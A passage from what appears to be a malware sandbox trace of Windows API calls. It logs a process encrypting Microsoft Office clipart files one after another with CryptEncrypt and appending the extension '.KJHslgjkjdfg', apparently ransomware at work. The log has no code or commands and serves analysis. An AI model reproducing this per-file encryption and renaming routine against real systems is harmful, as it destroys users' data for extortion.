nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xec0, lpOverlapped=0x0) returned 1 [0196.203] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.203] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.203] SetEndOfFile (hFile=0x130) returned 1 [0196.204] GetProcessHeap () returned 0x2ef0000 [0196.204] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.205] GetProcessHeap () returned 0x2ef0000 [0196.205] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.205] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf.kjhslgjkjdfg")) returned 1 [0196.206] CloseHandle (hObject=0x130) returned 1 [0196.206] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0af3b00, ftCreationTime.dwHighDateTime=0x1bd4b29, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0af3b00, ftLastWriteTime.dwHighDateTime=0x1bd4b29, nFileSizeHigh=0x0, nFileSizeLow=0x9a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00084_.WMF", cAlternateFileName="")) returned 1 [0196.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.207] GetProcessHeap () returned 0x2ef0000 [0196.208] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.208] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.208] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.208] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.210] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.210] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.210] GetProcessHeap () returned 0x2ef0000 [0196.210] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.210] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.210] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.210] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.210] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.210] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.210] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.211] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.211] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.211] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.211] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.211] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.211] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x9a8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x9a8, lpOverlapped=0x0) returned 1 [0196.211] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9b0, dwBufLen=0x9b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9b0) returned 1 [0196.211] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.211] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x9b0, lpOverlapped=0x0) returned 1 [0196.211] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.211] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.211] SetEndOfFile (hFile=0x130) returned 1 [0196.214] GetProcessHeap () returned 0x2ef0000 [0196.214] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.214] GetProcessHeap () returned 0x2ef0000 [0196.214] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.214] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf.kjhslgjkjdfg")) returned 1 [0196.215] CloseHandle (hObject=0x130) returned 1 [0196.215] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf81f1600, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf81f1600, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00231_.WMF", cAlternateFileName="")) returned 1 [0196.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.216] GetProcessHeap () returned 0x2ef0000 [0196.216] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.216] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.216] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.217] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.219] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.219] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.219] GetProcessHeap () returned 0x2ef0000 [0196.219] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.219] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.219] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.219] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.219] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.219] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.219] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.220] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.220] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.220] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.220] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.220] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.220] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8b8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8b8, lpOverlapped=0x0) returned 1 [0196.220] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8c0) returned 1 [0196.220] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.220] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8c0, lpOverlapped=0x0) returned 1 [0196.220] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.220] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.220] SetEndOfFile (hFile=0x130) returned 1 [0196.223] GetProcessHeap () returned 0x2ef0000 [0196.223] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.223] GetProcessHeap () returned 0x2ef0000 [0196.223] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.223] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf.kjhslgjkjdfg")) returned 1 [0196.224] CloseHandle (hObject=0x130) returned 1 [0196.224] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0c84900, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0c84900, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x402, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00235_.WMF", cAlternateFileName="")) returned 1 [0196.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.225] GetProcessHeap () returned 0x2ef0000 [0196.225] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.225] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.225] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.226] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0196.243] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.243] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.243] GetProcessHeap () returned 0x2ef0000 [0196.243] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.243] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.243] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.243] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.243] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.243] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.243] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.243] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.243] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.244] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.244] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.244] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.244] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x402, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x402, lpOverlapped=0x0) returned 1 [0196.244] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x410, dwBufLen=0x410 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x410) returned 1 [0196.244] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.244] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x410, lpOverlapped=0x0) returned 1 [0196.244] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.244] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.244] SetEndOfFile (hFile=0x130) returned 1 [0196.246] GetProcessHeap () returned 0x2ef0000 [0196.246] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.246] GetProcessHeap () returned 0x2ef0000 [0196.246] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.246] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf.kjhslgjkjdfg")) returned 1 [0196.248] CloseHandle (hObject=0x130) returned 1 [0196.248] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf971c00, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf971c00, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH00236_.WMF", cAlternateFileName="")) returned 1 [0196.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.248] GetProcessHeap () returned 0x2ef0000 [0196.248] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.249] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.249] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.249] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0196.252] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.252] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.252] GetProcessHeap () returned 0x2ef0000 [0196.252] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.252] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.252] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.252] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.252] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.252] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.253] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.253] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.253] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.253] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.253] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.253] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.253] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xcd6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xcd6, lpOverlapped=0x0) returned 1 [0196.253] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xce0, dwBufLen=0xce0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xce0) returned 1 [0196.253] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.253] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xce0, lpOverlapped=0x0) returned 1 [0196.254] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.254] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xdb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.254] SetEndOfFile (hFile=0x130) returned 1 [0196.257] GetProcessHeap () returned 0x2ef0000 [0196.257] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.257] GetProcessHeap () returned 0x2ef0000 [0196.257] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.257] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft 